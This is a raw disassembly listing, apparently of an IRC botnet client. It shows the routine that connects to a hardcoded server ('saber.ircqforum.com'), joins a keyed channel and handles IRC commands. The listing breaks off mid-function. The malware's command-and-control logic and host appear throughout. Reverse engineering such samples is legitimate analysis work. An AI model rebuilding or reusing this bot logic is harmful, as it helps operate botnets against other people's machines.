		cmp	dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	dword_43F738, ebx
		jnz	short loc_40E9F5
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_40C1AE
		pop	ecx

loc_40E9F5:				; CODE XREF: ___:0040E9DEj
					; ___:0040E9E6j
		lea	eax, [ebp-0E4h]
		push	offset dword_435118
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_416D5C
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_444340
		call	sub_417330
		call	sub_41730C
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_489C5C
		mov	dword_489DD0, ebx
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		mov	edi, offset dword_489CDC
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_489D1C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	dword_489DB0, ebx

loc_40EA83:				; CODE XREF: ___:0040EB29j
					; ___:0040EB34j ...
		mov	[ebp-4], ebx

loc_40EA86:				; CODE XREF: ___:0040EADDj
		cmp	dword_43F750, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	dword_43F5AC
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------

loc_40EAA4:				; CODE XREF: ___:0040EA8Cj
					; ___:0040EA9Bj
		push	offset dword_489C58
		mov	dword_489DCC, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40EB7E
		cmp	dword_489DCC, ebx
		jz	short loc_40EACB
		dec	dword ptr [ebp-4]

loc_40EACB:				; CODE XREF: ___:0040EAC6j
		push	0BB8h

loc_40EAD0:				; CODE XREF: ___:0040EAA2j
		nop
		call	near ptr 25D0CB3h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40EA86
		cmp	dword ptr [ebp-8], 2
		jz	loc_40EB7E
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB2E:				; CODE XREF: ___:0040EAECj
		cmp	byte_42F650, bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F650
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB7E:				; CODE XREF: ___:0040EABAj
					; ___:0040EAE3j
		call	sub_416F25

loc_40EB83:				; CODE XREF: ___:0040E74Aj
					; ___:0040E75Aj
		call	dword_43F5C8

loc_40EB89:				; CODE XREF: ___:0040E73Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: ___:0040EAAFp
					; DATA XREF: sub_40EE72+3B0Eo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43F668
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_489DC0
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4450D8
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4450CC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	dword_43F700
		call	sub_40ADF3
		push	7D0h

loc_40EC72:				; CODE XREF: sub_40EB92+146j
		call	near ptr 25D0CB3h
		nop
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_43514C
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43F700
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------

loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------

loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417078
		pop	ecx
		push	2
		pop	eax

loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx

loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	byte_489DC8, bl
		jz	short loc_40ED3F
		push	offset byte_489DC8
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch

loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	dword_43F700
		push	1388h
		call	near ptr 25D0CB3h
		nop

loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax

loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]

loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi

loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------

loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------

loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------

loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2

loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_4387B8 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh

loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93

loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi

loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_4387B4 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h

loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------

loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------

loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	dword_489DC0
		push	dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415D01
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch

loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h

loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1

loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2

loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h

loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F236:				; CODE XREF: sub_40EE72+57D8j
					; sub_40EE72+57F5j ...
		add	esp, 10h

loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1

loc_40F23B:				; CODE XREF: sub_40EE72+5CEBj
		pop	eax

loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax

loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h

loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C

loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F397:				; CODE XREF: sub_40EE72+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0

loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42E

loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE

loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
